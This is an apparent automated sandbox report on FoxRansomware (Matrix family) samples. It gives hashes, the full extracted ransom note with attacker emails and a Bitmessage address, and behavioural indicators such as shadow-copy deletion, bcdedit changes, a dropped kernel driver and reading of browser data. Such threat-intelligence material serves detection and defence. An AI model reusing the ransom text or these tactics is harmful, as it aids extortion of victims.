Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
- max time kernel
149s - max time network
123s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system - submitted
13/02/2024, 05:15
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20231215-en
General
- Target FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
- Size 1.2MB
- Sample240213-fxzrcaff73
- SHA256 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53
- MD5 1fa1b6d4b3ed867c1d4baffc77417611
- SHA1 afb5e385f9cc8910d7a970b6c32b8d79295579da
- SHA512 0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5
- SSDEEP 24576:K/SA+2lraRrjSJR5ezmT1dM9bBkNIDreFqO:2Xl9Ife
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://myexternalip.com/raw
Extracted
-
C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\#FOX_README#.rtf
- {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 1E69277169CC205F\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 1E69277169CC205F\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 taxmWs4p\cf0\f1\fs32\lang1049\par \par }
-
[email protected]\cf1\fs24\par
-
https://bitmsg.me
-
https://bitmsg.me/users/sign_up
-
https://bitmsg.me/users/sign_in
Signatures
- Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jre7\lib\cmm\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Americana\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Document Themes 14\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\PROOF\1036\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Runtime\x86\resources\1033\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\V17S5RKJ\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Games\Chess\de-DE\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\InfoPathOM\InfoPathOMV12\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Public\Libraries\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\ProgramData\Microsoft\Assistance\Client\1.0\en-US\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-452311807-3713411997-1028535425-1000\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\fr-FR\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\GrayCheck\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\PROOF\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00007C7F\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\Cache\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Discussion\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Search Logos\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\it-IT\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Games\SpiderSolitaire\de-DE\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\All Users\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\plugins\visualization\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\OneNote\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\ProgramData\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created F:\$RECYCLE.BIN\S-1-5-21-452311807-3713411997-1028535425-1000\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jre7\lib\security\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Games\Multiplayer\Spades\es-ES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BabyBlue\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\z2ud2i1e.default-release\storage\permanent\chrome\idb\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 3292 bcdedit.exe 3468 bcdedit.exe - Blocklisted process makes network request 1 IoCs
flow pid Process 9 3024 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS gbw8Tp4V64.exe - Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" gbw8Tp4V64.exe - Executes dropped EXE 3 IoCs
pid Process 2700 NWKkLa9n.exe 1192 gbw8Tp4V.exe 1636 gbw8Tp4V64.exe - Loads dropped DLL 11 IoCs
pid Process 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 1020 cmd.exe 1192 gbw8Tp4V.exe 2876 WerFault.exe 2876 WerFault.exe 2876 WerFault.exe 2876 WerFault.exe 2876 WerFault.exe 2876 WerFault.exe 2876 WerFault.exe - Modifies file permissions 1 TTPs 1 IoCs
pid Process 2552 takeown.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral9/files/0x0006000000016d63-430.dat upx behavioral9/memory/1192-443-0x0000000000400000-0x0000000000477000-memory.dmp upx behavioral9/memory/1192-1143-0x0000000000400000-0x0000000000477000-memory.dmp upx - Drops desktop.ini file(s) 43 IoCs
